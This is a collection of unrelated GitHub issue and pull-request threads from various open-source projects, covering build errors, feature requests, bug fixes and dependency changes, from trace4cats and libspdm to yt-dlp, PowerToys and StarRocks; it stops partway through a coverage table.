X-B3-TraceId support for 8 bytes size as well as 16 bytes size

When trying to use ToHeaders.B3 , which is based on the X-B3-TraceId headers, the code is assuming that the traceId size must be 16 bytes.
The current X-B3-TraceId spec, clearly says that both 8 bytes and 16 bytes size are valid: https://github.com/openzipkin/b3-propagation#traceid
As a workaround, I tried creating my own ToHeaders but I was unable to do so, as the TraceId case class constructor is private. There's an apply Method: apply: Option[TraceId] that will give you None if the size is not 16
def apply(array: Array[Byte]): Option[TraceId] =
    if (array.length == size) Some(new TraceId(array)) else None

where size is initialized at 16 on the TraceId object
I think that
private[trace4cats] class B3ToHeaders extends ToHeaders {

implementation should allow using TraceId of 8 bytes as well of 16 bytes

Thanks @rodmeneses, I think we may still need to make this 16 bytes for some of the downstream exporter implementations. I can check after the 0.14 release.
In the meantime could you try padding the remaining 8bytes? Hopefully that doesn't break the rest of your tracing sytem


[DEV-1951] add organization

Release Checklist
Pre-Release

[ ] Check migrations

No database related infos (sqldb-xxx)
Impact on GS (new/removed columns)

[ ] Check for linter errors (in PR)
[ ] Test basic user operations

Login/logout
Registration
Update user data
Create/delete payment routes

Post-Release

Test basic user operations
Monitor application insights log

Add migration


Book with SVG in spine causes fatal exception to the thrown about duplicate navs

(Transferred from Bugzilla, bug 63, 24 July 2014)
Platform: iOS
Ric Wright 2014-03-27 10:51:03 CDT
Created attachment 47 [details]
A sample EPUB file with SVG in the spine.
The sample book, which happens to have SVG in the spine (not clear if that is involved) causes an exception to be thrown.  The exception is:
libc++abi.dylib: terminating with uncaught exception of type ePub3::epub_spec_error: Publications MUST contain exactly one navigation document.
(lldb)
The book does have only one navigation document and works correctly in both iBooks and LauncherOSX.  It also passes EPUBCheck without errors, so it appears that the message is bogus.

Tested with 0.25-alpha on OSX 10.11 with MBP.  Complains about errors (see above) but does not crash.  Closing.


Libspdm build error on Linux - "add_executable called with incorrect number of arguments"

My CMake version is greater than the minimum required version of 3.5:
dheinen@remote:/dir> cmake --version
cmake version 3.5.2
I'm using the following commands, as described in the documentation:
git clone https://github.com/DMTF/libspdm.git libspdm
cd libspdm
git submodule update --init
git submodule update
mkdir build
cd build
cmake -DARCH=x64 -DTOOLCHAIN=GCC -DTARGET=Release -DCRYPTO=openssl ..
dheinen@remote:/dir> git clone https://github.com/DMTF/libspdm.git libspdm
Cloning into 'libspdm'...
remote: Enumerating objects: 33649, done.
remote: Counting objects: 100% (3022/3022), done.
remote: Compressing objects: 100% (1239/1239), done.
remote: Total 33649 (delta 2232), reused 2271 (delta 1748), pack-reused 30627 (from 1)
Receiving objects: 100% (33649/33649), 17.81 MiB | 32.81 MiB/s, done.
Resolving deltas: 100% (23729/23729), done.
dheinen@remote:/dir> cd libspdm
dheinen@remote:/dir/libspdm> git submodule update --init
Submodule 'os_stub/mbedtlslib/mbedtls' (https://github.com/ARMmbed/mbedtls) registered for path 'os_stub/mbedtlslib/mbedtls'
Submodule 'os_stub/openssllib/openssl' (https://github.com/openssl/openssl) registered for path 'os_stub/openssllib/openssl'
Submodule 'unit_test/cmockalib/cmocka' (https://gitlab.com/cmocka/cmocka.git) registered for path 'unit_test/cmockalib/cmocka'
Cloning into '/dir/libspdm/os_stub/mbedtlslib/mbedtls'...
Cloning into '/dir/libspdm/os_stub/openssllib/openssl'...
Cloning into '/dir/libspdm/unit_test/cmockalib/cmocka'...
Submodule path 'os_stub/mbedtlslib/mbedtls': checked out '2ca6c285a0dd3f33982dd57299012dacab1ff206'
Submodule path 'os_stub/openssllib/openssl': checked out 'de90e54bbe82e5be4fb9608b6f5c308bb837d355'
Submodule path 'unit_test/cmockalib/cmocka': checked out 'a01cc69ee9536f90e57c61a198f2d1944d3d4313'
dheinen@remote:/dir/libspdm> git submodule update
dheinen@remote:/dir/libspdm> mkdir build
dheinen@remote:/dir/libspdm> cd build
dheinen@remote:/dir/libspdm/build> cmake -DARCH=x64 -DTOOLCHAIN=GCC -DTARGET=Release -DCRYPTO=openssl ..
-- The C compiler identification is GNU 4.8.5
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
#########################
Build Configuration
#########################
CMAKE_GENERATOR = Unix Makefiles
ARCH = x64
TOOLCHAIN = GCC
GCOV = OFF
TARGET = Release
CRYPTO = openssl
ENABLE_BINARY_BUILD=0; Building openssl library from source.
CMake Error at unit_test/test_spdm_requester/CMakeLists.txt:3 (add_executable):
add_executable called with incorrect number of arguments
CMake Error at unit_test/test_spdm_requester/CMakeLists.txt:5 (target_include_directories):
Cannot specify include directories for target "test_spdm_requester" which
is not built by this project.
CMake Error at unit_test/test_spdm_requester/CMakeLists.txt:17 (target_sources):
Cannot specify sources for target "test_spdm_requester" which is not built
by this project.
CMake Error at unit_test/test_spdm_requester/CMakeLists.txt:96 (target_link_libraries):
Cannot specify link libraries for target "test_spdm_requester" which is not
built by this project.
-- Configuring incomplete, errors occurred!
See also "/dir/libspdm/build/CMakeFiles/CMakeOutput.log".
Do you know what might be causing this?

I believe that was a bug in that version of CMake. In particular the default (apt) CMake version in Ubuntu 16.04 or18.04 doesn't work. Maybe we should bump the minimum version to 3.6.

I believe that was a bug in that version of CMake. In particular the default (apt) CMake version in Ubuntu 16.04 or18.04 doesn't work. Maybe we should bump the minimum version to 3.6.

Thank you for the information on this issue; I just switched to 3.26.4 and everything appears to build correctly now.


audite command not working

audite test.mp3

Outputs :
/usr/local/Cellar/ruby/2.3.0/lib/ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- curses (LoadError)
    from /usr/local/Cellar/ruby/2.3.0/lib/ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require'
    from /usr/local/lib/ruby/gems/2.3.0/gems/audite-0.4.0/bin/audite:3:in `<top (required)>'
    from /usr/local/bin/audite:23:in `load'
    from /usr/local/bin/audite:23:in `<main>'

The command "gem install curses" should fix it


Allow Setting Custom 2d Editor Size

Feature Request:
Allow setting a custom size in the 2d editor on a per-scene basis. This is currently inherited from the project's width and height setting, but it is extremely useful to set a custom value. For example, I am building a GUI with sub-elements as separate scenes; a custom size is need to preview the element at the correct sizing instead of the project's full-window size.

Feature and improvement proposals for the Godot Engine are now being discussed and reviewed in a dedicated Godot Improvement Proposals (GIP) (godotengine/godot-proposals) issue tracker. The GIP tracker has a detailed issue template designed so that proposals include all the relevant information to start a productive discussion and help the community assess the validity of the proposal for the engine.
The main (godotengine/godot) tracker is now solely dedicated to bug reports and Pull Requests, enabling contributors to have a better focus on bug fixing work. Therefore, we are now closing all older feature proposals on the main issue tracker.
If you are interested in this feature proposal, please open a new proposal on the GIP tracker following the given issue template (after checking that it doesn't exist already). Be sure to reference this closed issue if it includes any relevant discussion (which you are also encouraged to summarize in the new proposal). Thanks in advance!


Leshan demo deadlock

Observed on leshan.eclipse.org, see the attacked thread dump
jstack.txt
Memory dump:
dump.bin.gz

I find some suspicious synchronized block.

client.getLifeTimeInSec
Cleaner.run

But I can not use the thread dump for blaming them :-/

The issue is probably because we try to acquire writelock as a reader in the Cleaner.
The doc say : "upgrading from a read lock to the write lock is not possible."
I fixed it in commit (a2fb1e26208fe90345931c54447af048c0e30e6e)
I also removed the suspect synchronized block.


iPhone MSE stream

The MSE stream on my iphone use to work with  previous version. It no longer works with the master version, it keep loading.

You're wrong. MSE has never been supported on iOS thanks to Apple


[BEAM-5573] Update jna dependency

Update jna dependency

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

R: @iemejia
R: @aromanenko-dev

It seems jna is not used at all in the tests code, so I wonder if this is just a transitive dependency that ended up trapped. Can you verfify if we can better remove it or worse case make it testRuntime

@iemejia Looks like you are right, with removed, tests are still green

retest this please


Warn users before they navigate to another page if they've made changes

Currently, if the user clicks to another page from profile or settings, it will actually just let them do so and lose all their changes. It should give them a choice to confirm this so that they don't lose any data accidentally.

Will probably want to look at the beforeUnload() event handler.

I was literally gonna say the same thing:
https://stackoverflow.com/questions/1119289/how-to-show-the-are-you-sure-you-want-to-navigate-away-from-this-page-when-ch


[Question] - Does Prebid Support ads.cert?

Does Prebid Support ads.cert?

Not yet, it's still being planned.
ads.cert authenticates server-to-server traffic so it's only viable for prebid-server right now. You can follow that work in this issue: https://github.com/prebid/prebid-server/issues/2063


wrangler-action failing to deploy

The builds are working, but the wrangler-action is failing to deploy. It works locally with wrangler login as the authentication mechanism, but not when I pass the CF_API_TOKEN secret.
added 347 packages from 202 contributors and audited 349 packages in 8.231s

5 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

 Built successfully, built project size is 13 KiB.
Error:  Code 10000: Authentication error

Root cause was a misconfiguration of permissions. Perms required:
    All accounts - Workers KV Storage:Edit, Workers Scripts:Edit, Account Settings:Read
    All zones - Workers Routes:Edit
    All users - User Details:Read


Question: Mouseup event

Hi,
Is there an option to expose the 'mouseup' event. currently I can see that the mousedown event is exposed on the zoomBehavior of the chart state. I would like to update the cursor based on the mousedown and mouseup event (grab and grabbing). Is this possible?
I tried registering my own mouseup event on the svg, but this seems to be prevented;
Any ideas?

Hi, I think you can receive it in zoomEnd handler, let me know if it works
https://github.com/bumbeishvili/org-chart/blob/61d458c028ffeb0e023dfe675f137b002a5209b2/src/d3-org-chart.js#L75

Where can I access this. I'm using it in react/typescript, and the OrgChart does not have a onZoomEnd prop.

You can access it using
chart.onZoomEnd(event=>console.log('event')

This was added from v3, so make sure you are using the latest version and have a look at breaking changes too
https://github.com/bumbeishvili/org-chart/pull/213

Awesome, got it. Thank for the quick response


RGB Image to Grayscale Image Converter

I wish to add a python script that can be used to convert images in RGB to a grayscale image.
Could you please assign me this issue so that I may contribute.
Thank you
Happy HacktoberFest!

@HVbajoria Assign to you, Go ahead
Star 🌟 the repo if you liked it
Happy Hacktoberfest 🚀


Add support for pacegallery.com

DO NOT REMOVE OR SKIP THE ISSUE TEMPLATE

[X] I understand that I will be blocked if I intentionally remove or skip any mandatory* field

Checklist

[X] I'm reporting a new site support request
[X] I've verified that I'm running yt-dlp version 2023.10.07 (update instructions) or later (specify commit)
[X] I've checked that all provided URLs are playable in a browser with the same IP and same login details
[X] I've checked that none of provided URLs violate any copyrights or contain any DRM to the best of my knowledge
[X] I've searched known issues and the bugtracker for similar issues including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue
[X] I've read about sharing account credentials and am willing to share it if required

Region
No response
Example URLs

Single video embed: https://www.pacegallery.com/exhibitions/matthew-day-jackson-against-nature/
Single video embed: https://www.pacegallery.com/exhibitions/jules-de-balincourt-midnight-movers/
Single video embed: https://www.pacegallery.com/exhibitions/paulo-monteiro-undefined-inclusions/

Provide a description that is worded well enough to be understood
The Pace Gallery's official website employs YouTube embeds for all of their videos. They do not employ any additional DRM that they are aware of and they are keen to support yt-dlp for archival purposes. They do however employ a lazyload that might affect the generic extractor's ability to find the videos on the example URLs.
Here for example is the embed from the verbose output example, which plays nicely with yt-dlp on its own: https://www.youtube.com/embed/AS0o27hvb2c?autoplay=0&controls=1&showinfo=0&modestbranding=1&fs=1&cc_load_policy=0&iv_load_policy=3&autohide=0&enablejsapi=1&origin=https://www.pacegallery.com&widgetid=1
Provide verbose output that clearly demonstrates the problem

[X] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[ ] If using API, add 'verbose': True to YoutubeDL params instead
[X] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
[debug] Command-line config: ['-vU', 'https://www.pacegallery.com/exhibitions/paulo-monteiro-undefined-inclusions/']
[debug] Encodings: locale UTF-8, fs utf-8, pref UTF-8, out utf-8, error utf-8, screen utf-8
[debug] yt-dlp version<EMAIL_ADDRESS>[377e85a17] (pip)
[debug] Python 3.9.6 (CPython x86_64 64bit) - macOS-10.16-x86_64-i386-64bit (OpenSSL 1.1.1k  25 Mar 2021)
[debug] exe versions: ffmpeg 6.0 (setts), ffprobe 6.0, rtmpdump 2.4
[debug] Optional libraries: Cryptodome-3.15.0, brotli-1.0.9, certifi-2022.06.15, mutagen-1.45.1, sqlite3-3.35.5, websockets-10.3
[debug] Proxy map: {}
[debug] Loaded 1886 extractors
[debug] Fetching release info: https://api.github.com/repos/yt-dlp/yt-dlp/releases/latest
Available version<EMAIL_ADDRESS>Current version<EMAIL_ADDRESS>yt-dlp is up to date<EMAIL_ADDRESS>[generic] Extracting URL: https://www.pacegallery.com/exhibitions/paulo-monteiro-undefined-inclusions/
[generic] paulo-monteiro-undefined-inclusions: Downloading webpage
WARNING: [generic] Falling back on generic information extractor
[generic] paulo-monteiro-undefined-inclusions: Extracting information
[debug] Looking for embeds
ERROR: Unsupported URL: https://www.pacegallery.com/exhibitions/paulo-monteiro-undefined-inclusions/
Traceback (most recent call last):
  File "/Users/karl-rainerblumenthal/Library/Python/3.9/lib/python/site-packages/yt_dlp/YoutubeDL.py", line 1567, in wrapper
    return func(self, *args, **kwargs)
  File "/Users/karl-rainerblumenthal/Library/Python/3.9/lib/python/site-packages/yt_dlp/YoutubeDL.py", line 1702, in __extract_info
    ie_result = ie.extract(url)
  File "/Users/karl-rainerblumenthal/Library/Python/3.9/lib/python/site-packages/yt_dlp/extractor/common.py", line 715, in extract
    ie_result = self._real_extract(url)
  File "/Users/karl-rainerblumenthal/Library/Python/3.9/lib/python/site-packages/yt_dlp/extractor/generic.py", line 2575, in _real_extract
    raise UnsupportedError(url)
yt_dlp.utils.UnsupportedError: Unsupported URL: https://www.pacegallery.com/exhibitions/paulo-monteiro-undefined-inclusions/

Since plain YT IDs are valid "URL"s, a suitable pattern could just be added to YoutubeIE._EMBED_REGEX:
r'''<div [^>]*\bclass\s*=\s*['"]youtube-video\b[^>]+\bdata-id\s*=\s*['"](?P<url>[0-9A-Za-z_-]{11})\b           '''
A site extractor/plugin would be a better solution if attributes could be in any order or metadata should be extracted from the page itself.

The site devs might be able to reveal what tooling generates these lazyload elements to help us understand if it's something that should be expected in other sites.


Regular OCM share still seems to try to go through reva

During search, the logs say:
[Thu May 11 10:31:34.736530 2023] [php7:notice] [pid 131] [client <IP_ADDRESS>:34242] returning result from sciencemesh:
[Thu May 11 10:31:34.736536 2023] [php7:notice] [pid 131] [client <IP_ADDRESS>:34242] array (\n  0 => \n  array (\n    'label' => 'marie (revanc2.docker)',\n    'value' => \n    array (\n      'shareType' => 6,\n      'shareWith' => 'marie@revanc2.docker',\n    ),\n  ),\n)
[Thu May 11 10:31:34.741507 2023] [php7:notice] [pid 131] [client <IP_ADDRESS>:34242] returning other results:
[Thu May 11 10:31:34.741525 2023] [php7:notice] [pid 131] [client <IP_ADDRESS>:34242] array (\n  0 => \n  array (\n    'label' => 'marie@nc2.docker',\n    'value' => \n    array (\n      'shareType' => 6,\n      'shareWith' => 'marie@nc2.docker',\n    ),\n  ),\n)

So I don't know how the backend would distinguish those two, @mrvahedi68 can you comment?

I hadn't refreshed my browser cache so I was running old JS code :) all looks like it's working now.


jQuery syntax crashes challenge "Bring your JavaScript Slot Machine to Life"

Challenge http://freecodecamp.com/challenges/waypoint-bring-your-javascript-slot-machine-to-life has an issue. Please describe how to reproduce it, and include links to screenshots if possible.
In typing this suggested code to solve the challenge, the automatic closing of parentheses leads the student to type
$($)
which immediately causes the script to become unresponsive. This is on Firefox for Mac v39.0.3

Duplicate of #1960


Copy-paste and edit living_in_belgium.md

I copied the transportation and accommodation sections from Google Docs and added some more info. I couldn't mark the sections as red in the docs cuz I don't have access to do it, so I would be very happy if someone could do it for me :)

LMK if this PR is ready for the second round of review

Yes it's ready. In this PR, I accepted the changes you made yesterday. You can find my edits in the other PR. Sorry for the confusion 🥲

Thank you! Please add to this PR what you intended to edit in #30 and then delete #30. Long story short, GitHub will make problems since you are modifying the same file in two different PRs.

Well done :) added the image and the last changes I was requesting


Gradle plugins cannot determine which version of Kotlin they need to use.

According to #7666:

Both the Kotlin and Groovy standard libs are part of Gradle's common API, which must be the same for everyone so that build scripts and plugins can talk to each other (using the same types). You are bound to the version that ships with Gradle.

However, Gradle doesn't provide any way for developers to know which version of Kotlin they need to bind their plugins to, c.f. Groovy's localGroovy() mechanism.
With the release of Kotlin 1.3.0, IntelliJ is now aggressively pushing a new Kotlin plugin, which means that at the very least Gradle plugin projects now need to include something like:
tasks.withType(org.jetbrains.kotlin.gradle.tasks.KotlinCompile).all {
    kotlinOptions {
        apiVersion = "1.2"
        languageVersion = "1.2"
    }
}

However, this could also reasonably be expected to change in future, when Gradle upgrades its bundled Kotlin from 1.2.61 and (some) plugin developers choose to use the new Kotlin features.
Ref: KT-27867.

See https://github.com/gradle/gradle/issues/7666#issuecomment-438280667


Codiagonals in @program macro that are not returned

The @program macro allows for very easy wiring directed wiring diagram generation, but there are certain wiring diagrams it cannot express. For example, I'd like the following program to return a and merge inputs b and c
@program C (a::X,b::X,c::X) begin
       [b, c]
       return a
 end

However, it just returns a. Any codiagonal that doesn't somehow make it to the final return expression gets ignored, it seems.
@program C (a::X,b::X,c::X) begin
       return (a,  [b, c])
 end

This program almost gives us what we want, but it has b (which equals c) as an output that we don't want. A current workaround is to generate wiring diagrams like this and then trim off outputs that weren't actually desired from the ACSet.
(There's a dual issue when we want to create cups rather than caps, requiring us to create artificial inputs which then must be 'trimmed' at the end, too.)

The reason for this that the @program macro assumes that the biproduct laws are in effect when combining the product and coproduct structures. (I'm not sure whether this is documented.) The law at work here is

which says that merging and then deleting is the same as just deleting the two inputs. So what you are seeing is expected behavior.
We could have a variant of the program macro with different behavior. It sounds like you are asking for a version where you can express caps and cups?

Make sense! And yeah, that sounds right. So this is definitely more of a feature request than a bug.


(Posted by mistake...) First Tab with Validation Error (non-wizard) shown after submit.

Posted by mistake...

Woops! Forgot to run npm run build after updating filament.


Java indexer: emit annotations as 'interface' nodes with 'annotatedby' edges [phab:D69]

Created by schroederc at 2015-02-19 16:29:44:

zarko commented inline (context lost during migration) at 2015-02-19 18:47:34:
Are these references to the annotation class or references to an instance of that annotation class? Does it differ depending on whether the annotation has elements? (How will we represent these structured values?)

zarko commented inline (context lost during migration) at 2015-02-19 18:47:35:
Typedefs? In my Java?

zarko commented inline (context lost during migration) at 2015-02-19 18:47:35:
Maybe "if A provides metadata for B".

zarko commented inline (context lost during migration) at 2015-02-19 18:47:35:
Is this really true? interface seems like it's different from interface. See [[ http://docs.oracle.com/javase/1.5.0/docs/guide/language/annotations.html | the documentation ]].

schroederc wrote at 2015-02-19 18:57:57:
Review changes

schroederc commented inline (context lost during migration) at 2015-02-19 18:58:10:
Done

schroederc commented inline (context lost during migration) at 2015-02-19 18:58:10:
Done

schroederc commented inline (context lost during migration) at 2015-02-19 18:58:10:
They are definitely treated as special interfaces by the compiler: http://docs.oracle.com/javase/7/docs/api/javax/lang/model/element/ElementKind.html#isInterface()
We can, however, create a new node kind, if you want.  I don't think it's worth it.

schroederc commented inline (context lost during migration) at 2015-02-19 18:58:10:
Always references to the annotation nodes themselves.
Handling annotation values is left for another change.

zarko commented inline (context lost during migration) at 2015-02-19 19:12:41:
That's supremely weird, since these define objects that have state. Can you utter class C implements Annotation?
Regardless, I would vote for this:
Annotation.node/kind record
Annotation.subkind annotation

given that we define the node kind interface as "An interface defines an implementable type." and record as "A record defines a type composed of a collection of elements.".
(Nasty thought: do they call this interface because they are interfaces to the JVM and the Java compiler generates an anonymous implementation each time the annotation is invoked? Even if this is the case, I would advocate representing the abstraction the language presents to the user, where annotations are named collections of zero or more simply-typed elements.)

schroederc commented inline (context lost during migration) at 2015-02-19 21:31:52:
You can write class C implements Annotations.  You just need to implement the annotationType method.  Annotations are interfaces.  They do not have state.

zarko wrote at 2015-02-20 00:45:31:
SGTM. What a weird thing for a language to do!

zarko accepted this revision at 2015-02-20 00:45:31

schroederc wrote at 2015-02-20 15:44:08:
Rebase

schroederc closed via commit 8291af11ef37147c483b60a3fc0ac98581dbcde6 at 2015-02-20 15:46:01

commit 4d2aa71e7de1667471961b355e8f99373d13fcb1


Can't get codelabs/firebase-get-to-know-flutter to work on macos

Issue encountered

An error occured when accessing the keychain. The NSLocalizedFailureReasonKey field in the NSError.userInfo dictionary will contain more information about the error encountered.
Steps to reproduce

Use MacOS (e.g. latest, 13.3.1 (22E261) Ventura)
Get VisualStudio Code (e.g. March 2023 (version 1.77))
Get Flutter
Framework • revision 4d9e56e694 (2 weeks ago) • 2023-04-17 21:47:46 -0400
Engine • revision 1a65d409c7
Tools • Dart 2.19.6 • DevTools 2.20.1
Follow all instructions at: https://firebase.google.com/codelabs/firebase-get-to-know-flutter and clone https://github.com/flutter/codelabs at latest (f5011e73be1)
4a) Jump directly to step_09 in firebase-get-to-know-flutter (making sure not my own changes caused the issue)
Try Web, Android, iOS, all good.
Try MacOS: Won't build at first, gradlew missing. Fixed, then builds.
Start the app, try to log in, see error message above

Notes
I think, I tried all hints I could find online, no luck. Also tried building a flutter build macos --release, no luck. I'm new to flutter and uncertain what I can do to further debug. Any input is welcome, I'll be happy to contribute, but need a starting point.

/cc @domesticmouse

PTAL @nohe427

I got the same error. The way to resolve this is to turn on keychain sharing and sign the build you are building  since keychain sharing requires elevated privileges : https://stackoverflow.com/questions/59061191/xcode-11-firebase-auth-for-mac-app-has-error-an-error-occurred-when-accessing-th

Thank you, @nohe427, do you have and idea how this could be done in VS Code or by config file, or better headless in a CI?

@martinlwtzky - Here is more info on why it is required. (https://firebase.google.com/docs/ios/troubleshooting-faq#macos-keychain-sharing)
You would probably want to set it up once in XCode and then run your project like normal from VSCode (easiest way). There are probably better guides for enabling entitlements and code signing for CI for Apple, but I am personally unfamiliar with how that process goes.

Alright, thank you for sharing! It works after following your first link. I'm sure other people will hit the same road bump when following the codelab instructions. Would it be worthwhile to catch that exact issue either in the codelab, or somewhere in the sample code? I spent quite some time on this issue.

Since this appears to be working as intended, we're going to close this issue. (Desktop Triage)


Don't depend on a particular ahash rng

I'm not very familiar with ahash, or WASM in general, but it seems like ahash's default randomness source panics when run inside a WASM environment. This change should make it so that jsonschema uses the runtime randomness source by default, but will not require it when included with default-features = false.

Oh, interesting! Could you share some more info about that panic inside WASM env?

Sure! It's from inside a GitHub action, so I don't have a ton of detail, but this is the backtrace:
 wasm://wasm/035f2c1a:1

RuntimeError: unreachable
    at __rust_start_panic (wasm://wasm/035f2c1a:wasm-function[29902]:0x995f8d)
    at rust_panic (wasm://wasm/035f2c1a:wasm-function[28684]:0x98dfbb)
    at std::panicking::rust_panic_with_hook::h56566d5bea7a37c0 (wasm://wasm/035f2c1a:wasm-function[12547]:0x7f7625)
    at std::panicking::begin_panic_handler::{{closure}}::h03bdc827acd443d9 (wasm://wasm/035f2c1a:wasm-function[14777]:0x85961e)
    at std::sys_common::backtrace::__rust_end_short_backtrace::h9e7fb40f8771dce2 (wasm://wasm/035f2c1a:wasm-function[28353]:0x98a7d3)
    at rust_begin_unwind (wasm://wasm/035f2c1a:wasm-function[21798]:0x91e971)
    at core::panicking::panic_fmt::h9bfc1f59490d9b53 (wasm://wasm/035f2c1a:wasm-function[26863]:0x97782b)
    at core::result::unwrap_failed::h922cc556d7bf74df (wasm://wasm/035f2c1a:wasm-function[17235]:0x8ad6b2)
    at core::result::Result<T,E>::expect::hd3153d6e5de234a4 (wasm://wasm/035f2c1a:wasm-function[15729]:0x87c178)
    at ahash::random_state::get_fixed_seeds::{{closure}}::h6fd8a8af4df30846 (wasm://wasm/035f2c1a:wasm-function[510]:0x2bb7b0)

The specific error is:
error: the wasm32-unknown-unknown target is not supported by default, you may need to enable the "js" feature. For more information see: https://docs.rs/getrandom/#webassembly-support
   --> /Users/abc/.cargo/registry/src/github.com-1ecc6299db9ec823/getrandom-0.2.8/src/lib.rs:263:9
    |
263 | /         compile_error!("the wasm32-unknown-unknown target is not supported by \
264 | |                         default, you may need to enable the \"js\" feature. \
265 | |                         For more information see: \
266 | |                         https://docs.rs/getrandom/#webassembly-support");
    | |________________________________________________________________________^

A temporary fix for this is to add the pin getrandom in Cargo.toml:
[target.'cfg(target_arch = "wasm32")'.dependencies]
getrandom = { version = "0.2.5", features = ["js"] }

@whereistejas Thank you for sharing this!
Indeed, it makes jsonschema compile on wasm32-unknown-unknown. As for the next step, I'd like to support wasm32-wasi too, but it requires re-working our CLI (probably moving it into a separate crate). One of the clap dependencies requires a nightly feature, but I'd like to make it compile on stable.
I am going to push a few changes to this PR, including a CI job that verifies wasm32-unknown-unknown compilation. Running tests on that platform will require some more changes as it heavily relies on resolving

Now if a non-browser WASM crate includes jsonschema, it won't run because of the js feature, right? The advantage of my initial approach was that the downstream crate can choose which implementation to use, by directly depending on ahash and its features.

What target do you mean by non-browser WASM? From getrandom docs:

This feature has no effect on targets other than wasm32-unknown-unknown.

But also they have this:

Library crates should generally not enable this feature, leaving such a decision to users of their library

Hm, wasm32-wasi would require some extra work because of clap anyway, and I didn't try wasm32-unknown-emscripten, so not sure if the original approach would work there. I might be completely wrong and would be happy to investigate deeper during the weekend.
What was your original compilation target where you got that error?

What target do you mean by non-browser WASM?

Something like wasmer or wasmi that might not have access to the JavaScript runtime. Could also apply if you want to run an identical binary in a browser and under wasi.

What was your original compilation target where you got that error?

wasm32-unknown-unknown, specifically under nodejs.


Could be built on Bismuth instead

Why not start on a well-tested new, modern and established platform like $BIS #Bismuth? It is even written in Python, which is much more popular and readable than Rust.

Python would be terrible for scalability and stability over Rust.

Scalability is a design decision, it has nothing to do with the programming language itself. Same goes for stability. Python is more versatile because of the wide range of modules.

Hi folks, we're open to feedback. The best place to chat with our engineering team is on our Community

@hclivess Python is inherently less secure compared to Rust which is extremely important for a crypto related project :).


A few comment cleanups

Several lines had misaligned # symbols in them, they were:
271, 618, 1147, 1965, 2069, 2790, 2926, 3183, 3578, 3768, and 4260.

The additional # was intentional :) I think it looks nice


[Power Run] Support searching apps with multi languages

Description of the new feature / enhancement
This is somewhat duplicate with #4144
I wish the Power Run to support searching apps by either the local language (me is Chinese) or English (which is used by the majority).
Scenario when this would be used?
In cases, people also get used to refer apps in their English names (besides the localized name).
e.g.
English:   terminal
Chinese:  终端
Both "终端" and "terminal" are used frequently in the daily scenarios in China.
Supporting information
This feature is support on MacOS.

Searching by local language (Chinese)

Searching by English

Even searching by local language input system is support on MacOS. Here the "zhongduan" is the Pinyin (the pronounciation system of Chinese) of "终端" ("terminal" in Chinese).

Power Run now only supports 1, and I wish it to support 2, and if any possible, support 3 as well.

@maxwellzh
It should support 1 & 2 for all installed apps (Program plugin).

@htcfreek
2 does not work on my device.
Type in "终端“ ( "terminal" in Chinese)

Type in "terminal"

PT v0.63.0
Windows11 22H2

Windows Terminal is a packaged app, not a .lnk file. I'm not sure whether this is the same as the localization of shell objects.
Also Windows Search does not support this either. "Terminal" will match Command Prompt instead of Windows Terminal. "Windows Terminal" does match, though.

Strangely, Windows Search does support searching some of the items by Chinese, English, or even Pinyin.
You can type 计算器 (Chinese), calculator (English) or jisuanqi (Pinyin) to have the calculator app show up in the list.

And you can type 命令提示符 (Chinese), minglingtishifu (Pinyin), mltsf (Pinyin initials), command prompt, cmd or dos to find Command Prompt. Even some typos, such as cdm, mcd, xmd or 聪明的 can still match Command Prompt.

However, that is because Windows Search has a list of those commonly used aliases and typos which is downloaded from Microsoft's server.

And that's why Windows Search only supports searching SOME of the apps and settings by English or Pinyin, not all of them. For those apps that are not in the list, you still have to use the exact name.

/dup #4144


Please invite me to the GitHub Community Organization

Name
TitanRGB
Discord Username (if applicable)
TitanRGB
Additional Context
🤤

@TitanRGB welcome to ChryzHub 🥳🎉


[BugFix] Fix mv rewrite bugs for tpch

Fixes #issue
Fix bugs to support more tpch queries by MV rewrite:

if query contains non inner/left outer joins which cannot be used to view delta join, not use intersectingTables anymore to generate more possible
Normalize binary scalar operator, eg: a < b should be the same with b > a.
Add more debug logs.

What type of PR is this:

[x] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Checklist:

[x] I have added test cases for my bug fix or my new feature
[ ] This pr will affect users' behaviors
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

Bugfix cherry-pick branch check:

[x] I have checked the version labels which the pr will be auto-backported to the target branch

[x] 3.1
[x] 3.0
[ ] 2.5
[ ] 2.4

[FE PR Coverage Check]
:heart_eyes: pass : 48 / 54 (88.89%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
17
21
80.95%
[49, 51, 53, 80]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
23
25
92.00%
[156, 1168]

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
4
4
100.00%
[]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MvUtils.java
3
3
100.00%
[]

:large_blue_circle:
com/starrocks/catalog/TableProperty.java
1
1
100.00%
[]

[FE PR Coverage Check]
:heart_eyes: pass : 34 / 38 (89.47%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/sql/optimizer/rewrite/scalar/MvNormalizePredicateRule.java
15
18
83.33%
[49, 51, 53]

:large_blue_circle:
com/starrocks/sql/optimizer/rule/transformation/materialization/MaterializedViewRewriter.java
